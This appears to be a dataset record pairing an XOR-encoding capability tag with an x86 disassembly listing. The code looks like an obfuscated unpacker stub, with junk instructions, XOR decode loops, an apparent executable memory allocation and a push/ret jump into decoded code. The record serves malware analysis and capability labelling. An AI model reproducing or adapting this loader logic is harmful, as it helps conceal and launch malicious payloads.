Function at 0xa789ac
Capabilities:
Encode data using xor

Disassembly:
pushal
mov esi, 0x57c1d8de
sub ebx, edx
mov ebx, 0xf5951563
popal
mov ebx, 0x5cd0cc7b
not ebx
mov ecx, 0
mov edi, eax
and edx, edx
sub edx, esi
inc esi
mov ebx, edi
or esi, esi
mov esi, 0xe2dd0d2a
mov eax, ebx
mov edx, 0x9e7655e1
inc edx
sub edx, 0xa79f2ef8
inc ecx
dec esi
add edx, 0x630d3d32
dec edx
cmp ecx, 0x10017ec
jne 0xa789c6
mov esi, 0x68ec9e13
dec esi
sub esi, 1
sub ebx, edx
dec edx
mov edx, ebx
mov ecx, 0xa78796
sub esi, 0xbf79ae93
mov eax, esi
mov ebx, 0xa7898a
add esi, 0x682a8aee
add eax, 0x678616d3
or esi, edx
mov edi, dword [ecx]
not edx
add eax, 0xbdbb55da
and edi, 0xff
or esi, eax
and edx, esi
xor dword [ebx], edi
and edx, eax
sub edx, esi
add ebx, 1
mov esi, edx
mov edx, 0xe8d6887f
add esi, edx
inc ecx
mov edx, eax
dec eax
sub eax, esi
cmp ebx, entry0
jl 0xa78a2a
mov edx, 0x72ef6d31
sub eax, 0xcad7c650
sub eax, edx
mov edx, 0xc5a9c3cc
dec ebx
sub edx, ecx
mov ecx, 0xcf82afa
mov esi, 0xa7898e
not edi
add edx, 0x6ec3bc55
mov esi, dword [esi]
mov ecx, 0x2920b54f
add edx, ebx
mov esi, dword [esi]
mov ebx, 0xfce75b25
mov edi, 0x7f337bde
push esi
mov ebx, 0x28d830d8
add edi, ebx
mov edx, ebx
mov esi, 0xa7898a
add edi, 1
mov ebx, edx
and edi, ecx
mov esi, dword [esi]
inc ebx
dec ecx
mov esi, dword [esi]
mov edi, 0x54d966b
and edi, edi
or edx, edx
sub esp, 4
mov dword [esp], 0xa78992
inc edx
mov ecx, edi
call esi
add edi, 0x899c6633
or edx, ecx
pop esi
mov edi, edx
mov ebx, edx
and edx, ebx
push 0xa7899f
dec edx
sub ecx, 0x16bb52f8
or ebx, ebx
sub esp, 4
mov dword [esp], eax
inc edi
sub ecx, 1
call esi
mov ebx, 0xc771162b
mov ebx, edx
add ebx, edi
push 0x40
inc ebx
sub ebx, ecx
sub edi, ecx
push 0x3000
inc ecx
dec edi
sub ebx, 0x1781288a
sub esp, 4
mov dword [esp], 0x20000b5d
sub ebx, 0x745531f6
add edx, ebx
add ecx, 1
sub esp, 4
mov dword [esp], 0
sub edx, 1
and edx, edi
add ebx, 0xb0a4571e
call eax
mov ecx, edi
not edi
or ecx, ecx
add eax, 0x20000acc
inc ebx
and ebx, edi
add edi, ebx
mov esi, 0x39dae84d
add edi, 0x2ce31b97
or edx, ecx
mov edi, 0x9c35209a
mov dword [eax], esi
mov edi, ebx
dec ebx
mov esi, dword [eax]
not edx
mov edx, 0x1c061a91
dec ebx
cmp esi, 0x39dae84d
je 0xa78b97
mov ecx, 0
mov dword [ecx], edx
sub edx, 0x1d32fa94
mov edi, 0xfcca3e68
mov edi, 0xbceb977a
not edx
mov ebx, 0xe3f0a856
mov ebx, 0xaadcb96b
mov ebx, edx
add edx, 0xa2b62572
mov ecx, section..pdata
and edx, ebx
add ebx, ebx
or edx, edx
mov eax, 0xa78795
mov ebx, 0xe7347e9f
inc ebx
not ebx
mov edi, 0
sub ebx, edx
mov ebx, 0xf9d8bb9a
mov esi, 0xa78796
or edx, edx
sub ebx, 0x18de5293
lea esi, [edi + esi]
sub edx, 0xf02c8938
dec ebx
mov esi, dword [esi]
mov ebx, edx
dec ebx
dec ebx
and esi, 0xff
add edx, ebx
or edx, edx
mov edx, ebx
inc edi
sub ebx, edx
add edx, edx
or edx, ebx
cmp edi, 0x1f4
jne 0xa78c1c
mov edi, 0
not edx
sub ebx, 0x73bca9d5
not edx
sub ebx, edx
and edx, ebx
mov ebx, edx
xor dword [ecx], esi
sub edx, 0x52623ca9
mov edx, 0xbd740b44
add ecx, 2
add edx, edx
mov edx, 0x2620fec6
cmp ecx, eax
jl 0xa78bdf
dec ebx
inc edx
add ebx, 0x22aa1701
or edx, ebx
and edx, edx
mov ebx, section..pdata
mov edi, 0xee868e54
sub esi, edi
mov edx, section..pdata
sub esi, 1
sub edi, esi
add esi, edi
mov ecx, 0xa78795
or esi, esi
not esi
mov eax, 0
or esi, edi
sub esi, 0x7128cb03
add esi, 1
mov al, byte [edx]
inc esi
inc esi
sub edi, 0xd73bef80
mov byte [ebx], al
mov esi, 0xe53055fa
or esi, edi
dec esi
inc ebx
mov edi, 0x7c993a06
dec esi
inc edi
add edx, 2
mov edi, esi
add esi, edi
cmp edx, ecx
jle 0xa78c91
mov edi, esi
sub edi, 0x1eb88f0c
or esi, esi
inc ebx
mov ebx, 0xf7bd9c8f
push 0x8dc6a0
mov ebx, 0x9939c4ee
dec edx
ret